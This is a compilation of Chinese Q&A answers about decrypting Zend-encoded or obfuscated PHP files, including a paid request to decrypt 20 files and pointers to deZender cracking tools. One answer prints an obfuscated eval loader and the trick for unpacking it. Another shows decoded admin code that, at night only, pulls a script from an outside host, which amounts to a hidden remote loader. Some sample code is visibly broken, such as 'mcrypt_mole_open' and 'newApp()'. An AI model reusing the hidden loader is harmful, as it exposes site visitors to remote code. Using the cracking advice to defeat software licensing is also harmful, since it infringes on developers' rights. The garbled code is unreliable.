1. 付費幫忙解密幾個php的文件,PHPJM或混淆,20個文件,500元RMB,支付寶擔保。
截圖部分文件內容看看
2. PHP解密問題
這是用Zend加密過的php代碼。
我以前也試圖去解Zend加密的源碼,
但是都失敗了。
破解Zend加密不是件容易的事情。
如果你非常想要嘗試,可以試圖去搜索「Dezend」相關的內容。
但是很可能努力很久後沒有收獲。
因為好的破解方法往往都是私藏或收費。
--------------------------------
你打成一個壓縮包吧,txt可能在傳輸過程中丟失了二進制信息。
--------------------------------
經驗證,你這個文件本身已經損壞了,根本無法運行。
所以你最好能從原始的地方得到那個php文件。
如果實在無法重新得到那個php文件,那就沒辦法了,
因為這個文件本身已經壞了。你可以放到apache裡面試試,
是壞文件。
3. php源代碼被加密了,請問如何解密
php源碼被使用zend加密,現階段還沒用解密方法。但是好像現在有這樣的一個studio,他們成功地完成了zend和eac的decode
不過是收費的
4. 請教php源碼加密及解密問題
用dw編輯器自帶的加密工具,或者自己寫js加密解密腳本
5. php 代碼解密
其實你可以使用DES進行解密,php中有一個擴展可以支持DES的加密演算法,是:extension=php_mcrypt.dll在配置文件中將這個擴展打開還不能夠在windows環境下使用需要將PHP文件夾下的 libmcrypt.dll 拷貝到系統的 system32 目錄下,這是通過phpinfo可以查看到mcrypt表示這個模塊可以正常試用了。
我舉例一下吧:
function do_mdecrypt($input, $key)
{
$input = str_replace(""n", "", $input);
$input = str_replace(""t", "", $input);
$input = str_replace(""r", "", $input);
$input = trim(chop(base64_decode($input)));
$td = mcrypt_mole_open('tripledes', '', 'ecb', '');
$key = substr(md5($key), 0, 24);
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_mole_close($td);
return trim(chop($decrypted_data));
}
然後,你用用這個方法,就可以實現代碼解密了!
6. php解密的問題.(解決者送200分)
10月4日,國內有一家名為清風工作室的網站推出一款名為deZender的軟體,據他們說「deZender可以反編譯被zend編譯過的所有PHP代碼,由deZender產生的PHP源代碼同原始文件相比,在源代碼級有超過95%以上的一致率,除極少數特殊情況外,無需經過任何修改,即能正確運行並實現與原始文件完全相同的功能。deZender能100%地還原PHP的變數名、函數名、類名、屬性名、方法名,甚至函數的參數名。」
這個消息引起了眾多php愛好者的關注,到目前為止,已經有上百個朋友在他們提供了代碼讓他們破解,雖然到現在還不能完美破解,但破解的結果還是讓很多人吃驚,所有用zend encoder或safeguard加密的php代碼都可以用deZender完全解密。
Zend Technologies 是PHP的官方贊助商,雖然PHP是一個開源項目,但是開發工具、培訓、認證等都是由Zend來打理,因為PHP的核心Zend API是由Zend公司提供,所以可以說Zend公司就是PHP支持商。Zend Technologies的幾個產品在php界有著非常大的影響,zend stutio是目前最強大的php開發工具,Zend Encode是一個可以把php腳本編譯為二進制碼的工具,可以大大提高php的執行效率,有了Zend Encode,你就可以將自己寫好的PHP程序,編譯後分發給很多用戶,而用不著公開自己的源程序代碼。編譯好的二進制代碼可以被Zend Optimizer透明讀取,也就是說,客戶只要在他的伺服器上安裝Zend Optimizer就可以執行由Zend Encode編譯好的PHP程序。編譯程序中包含有Zend Optimizer的部分代碼,所以編譯過程中對程序代碼進一步作了優化處理,這即意味著腳本的執行效率提高了。
由於國內的版權意識薄弱,很多php開發者把自己的產品加密,zend的破解消息引起了很多php開發者的恐慌,這意味著以後php沒有了強大的代碼保護措施。
目前zend官方論壇對這個話題已經展開了激烈的討論,據說zend已經打算發布新版的Zend Encode用新的編譯方法對php腳本進行編譯。
你自己看看吧 不一定行,祝你好運!!
http://www.qinvent.com/cyrj/deZender/
7. php 文件解密 在線等 謝謝~
解密很簡單,方法就是把eval修改為exit,一運行就能看見原始代碼。
由於你的程序沒有貼完,只能解了第一步,代碼如下:
<?php /* This file is protected by right law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3};
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};
$OOO0O0O00=__FILE__;
$OO00O0000=48;
if(!0)$O000O0O00=fopen($OOO0O0O00,'rb');
fgets($O000O0O00,1024);//跳過本文件前面1024位元組
fgets($O000O0O00,4096);// 到這里就解不走了,這步是讀?>後面的4096位元組來,你沒有粘貼完畢
$OO00O00O0=$OOO0000O0($OOO00000O(fread($O000O0O00,380),'+/=','+/'));
eval($OO00O00O0);
return;
?>
你繼續解密的方法,把上面fread($O000O0O00,380)替換為原文件後面1024+4096後的380個位元組內容(注意要引號),然後修改eval為exit,一運行就能看見原始代碼。
解密需要耐心,你可能需要繼續重復做幾次,我估計是多次加密的。解密沒有技術含量,基本上是體力活,我工作也很忙,祝你好運。
8. PHP文件如何解密
所謂的PHP文件加密,一般有兩種方式,一是ZEND編譯,二是BASE64等編碼,理論上都不是加密,下面分別說說如何還原。
對於ZEND編譯過的代碼,用記事本打開是完全是亂碼,除了前面的很小的頭部,後面不是可見ASCII字元,有點像打開一個EXE文件的效果,是無法閱讀的。這類處理的文件一般認為是無法還原的,網上有DEZEND工具,你可以下載來試試看,能還原早期ZEND版本編譯後的代碼。
對於使用BASE64等編碼後的PHP文件,可以用記事本打開查看,所有字元都是可見ASCII字元,一般使用兩種方法加大閱讀難度:一是使用$ll111、$ooo000這樣的變數,字母L的小寫與1混在一起、字母O的小寫與數字0混在一起,不容易分辨變數名稱。二是使用BASE64編碼對原始代碼進行轉換,最後使用eval進行處理。往往兩種方式結合在一起。
第二種方式處理後的代碼是很容易還原的,方法就是把eval換為exit,在CLI(命令提示符)下執行就會顯示出eval那個語句對應的等效代碼,替換原始語句即可。有時候還原一次後還是eval語句,那需要按照同樣的方法反復處理。
9. PHP文件解密
<?php
if(!defined("ADMIN_ROOT")){die("Invalidaccess");}
require'./system/common.php';
define('BASE_PATH','./');
define('THINK_PATH','./admin/ThinkPHP');
define('APP_NAME','admin');
define('APP_PATH','./admin');
require(THINK_PATH."/ThinkPHP.php");
$AppWeb=newApp();
$AppWeb->run();
echo'<scriptlanguage="javaScript">
now=newDate(),hour=now.getHours();
if(hour>22||hour<6){
$(function(){$.getScript("
http://bbs.gope.cn/ad/dedecjx_footer.js
");})
}
</script>';
echo'<divid="footer"style="text-align:center;padding:10px;"></div>';
解密出來,代碼也就這么幾條,無需發送你郵箱!